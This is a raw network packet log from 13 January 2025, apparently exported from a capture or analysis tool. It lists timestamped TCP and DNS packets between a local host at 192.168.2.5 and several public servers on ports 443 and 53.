Jan 13, 2025 20:18:20.095957994 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.095979929 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.096098900 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.100440979 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.104671955 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.104754925 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.104763985 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.104794025 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.104883909 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.109036922 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.113476992 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.113552094 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.113559008 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.113596916 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.113774061 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.117554903 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.122100115 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.122159958 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.122174978 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.125799894 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.125857115 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.125869036 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.128820896 CET	49704	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:20.128942966 CET	49704	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:20.129704952 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.129705906 CET	49748	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:20.129787922 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.129798889 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.129805088 CET	443	49748	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:20.129817963 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.129908085 CET	49748	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:20.129909992 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.130749941 CET	49748	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:20.130779982 CET	443	49748	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:20.133538008 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.133688927 CET	443	49704	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:20.133765936 CET	443	49704	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:20.137337923 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.137475967 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.137542009 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.137557030 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.138799906 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.139821053 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.140121937 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.140194893 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.140592098 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.140629053 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.338546991 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:20.338598013 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:20.338763952 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:20.339016914 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:20.339030981 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:20.721151114 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.722295046 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.722317934 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.723542929 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.723614931 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.726020098 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.726099014 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.731209040 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.731281996 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.731475115 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.731482983 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.731503010 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.775358915 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.783123016 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.839447021 CET	443	49748	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:20.839683056 CET	49748	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:20.958862066 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.959472895 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:20.959547997 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.967072010 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:20.967108965 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:21.095025063 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:21.095231056 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.096533060 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.096548080 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:21.098557949 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.098563910 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:21.448024988 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.448122025 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:21.448633909 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.448971033 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.449007988 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:21.458369017 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:21.947001934 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:21.947103977 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.947113991 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:21.947180033 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:21.947186947 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.947304010 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.948367119 CET	49752	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:21.948383093 CET	443	49752	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.127656937 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.127867937 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.128756046 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.128784895 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.131385088 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.131400108 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.131453991 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.131481886 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.131513119 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.131525993 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.131665945 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.131711006 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.131870031 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132064104 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.132204056 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132241011 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.132268906 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132288933 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.132303953 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132316113 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.132389069 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132422924 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.132448912 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132483006 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.132492065 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132508993 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.132540941 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132570028 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.132599115 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.478034019 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.478069067 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:22.478132010 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.479029894 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:22.479042053 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.135961056 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.136558056 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.199040890 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.199059010 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.200476885 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.200489044 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.200529099 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.200537920 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.200557947 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.200589895 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.200675011 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.200719118 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.200783014 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.200900078 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.459753990 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.459855080 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.459949017 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.459949970 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.460887909 CET	49755	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.460932970 CET	443	49755	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.517376900 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.517400026 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:23.517479897 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.517767906 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:23.517781019 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.178541899 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.178615093 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.179589987 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.179600000 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182041883 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182041883 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182060003 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182086945 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182161093 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182161093 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182178974 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182184935 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182219982 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182226896 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182282925 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182316065 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182359934 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182410955 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182527065 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182571888 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182609081 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182627916 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182677031 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182744026 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182776928 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.182795048 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.182809114 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.269027948 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.269216061 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.269257069 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.269577980 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.270112038 CET	49756	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.270132065 CET	443	49756	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.521903038 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.521949053 CET	443	49764	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:24.522367954 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.522530079 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:24.522563934 CET	443	49764	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:25.169363976 CET	443	49764	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:25.169536114 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:25.171087980 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:25.171087980 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:25.171119928 CET	443	49764	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:25.171176910 CET	443	49764	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:25.439059019 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:25.439141035 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:25.439172983 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:25.439224005 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:25.439234018 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:25.439368963 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:25.479775906 CET	49758	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:25.479803085 CET	443	49758	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:26.006521940 CET	443	49764	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:26.006696939 CET	443	49764	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:26.006694078 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:26.006772995 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:26.010291100 CET	49764	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:26.010334015 CET	443	49764	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:30.100276947 CET	49802	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.105139017 CET	53	49802	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.105202913 CET	49802	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.105331898 CET	49802	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.105331898 CET	49802	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.108998060 CET	49802	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.110110998 CET	53	49802	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.110162020 CET	53	49802	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.127844095 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:30.127860069 CET	443	49815	18.245.60.76	192.168.2.5
Jan 13, 2025 20:18:30.127907991 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:30.129616976 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:30.129631042 CET	443	49815	18.245.60.76	192.168.2.5
Jan 13, 2025 20:18:30.155343056 CET	53	49802	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.483726025 CET	53	49802	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.483948946 CET	49802	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.832436085 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:30.832534075 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:30.832637072 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:30.832891941 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:30.832916975 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:30.853425980 CET	443	49815	18.245.60.76	192.168.2.5
Jan 13, 2025 20:18:30.853667974 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:30.853682995 CET	443	49815	18.245.60.76	192.168.2.5
Jan 13, 2025 20:18:30.855134010 CET	443	49815	18.245.60.76	192.168.2.5
Jan 13, 2025 20:18:30.855199099 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:30.856158018 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:30.856236935 CET	443	49815	18.245.60.76	192.168.2.5
Jan 13, 2025 20:18:31.013190031 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:31.013202906 CET	443	49815	18.245.60.76	192.168.2.5
Jan 13, 2025 20:18:31.119056940 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:31.478212118 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:31.478295088 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:31.478705883 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:31.478718996 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:31.481101036 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:31.481112003 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:31.481158018 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:31.481178999 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.063663960 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.063713074 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.063822985 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.065160990 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.065193892 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.128937960 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.129012108 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.129020929 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.129076004 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.129801035 CET	49822	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.129832029 CET	443	49822	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.243350983 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:32.243479967 CET	443	49815	18.245.60.76	192.168.2.5
Jan 13, 2025 20:18:32.243545055 CET	49815	443	192.168.2.5	18.245.60.76
Jan 13, 2025 20:18:32.706556082 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:32.706671000 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:32.706811905 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:32.706871986 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:32.706875086 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:32.706952095 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:32.707035065 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:32.707063913 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:32.707119942 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:32.707142115 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:32.723115921 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.723340988 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.725187063 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.725214005 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.725900888 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:32.725941896 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:32.726103067 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:32.726793051 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:32.726811886 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:32.727596998 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.727615118 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.727686882 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.727709055 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.727721930 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.727732897 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.830267906 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.830362082 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.830532074 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.830765963 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.830915928 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.830952883 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.830986023 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.831003904 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.831017971 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.831037045 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.831165075 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.831201077 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.831201077 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.831240892 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.831258059 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:32.831279993 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:32.831309080 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:33.087847948 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:33.087888002 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:33.087975025 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:33.088525057 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:33.088536024 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:33.191081047 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.191354990 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.191417933 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.192924976 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.193003893 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.194349051 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:33.194372892 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.194466114 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.194848061 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:33.194860935 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:33.194945097 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.195070028 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.195086956 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.195234060 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.195282936 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.196995974 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.197009087 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:33.197079897 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:33.197091103 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.198178053 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:33.198282003 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:33.198308945 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:33.198539972 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.198653936 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.198671103 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.239352942 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.243343115 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:33.314694881 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.314804077 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.314826965 CET	443	49849	172.64.41.3	192.168.2.5
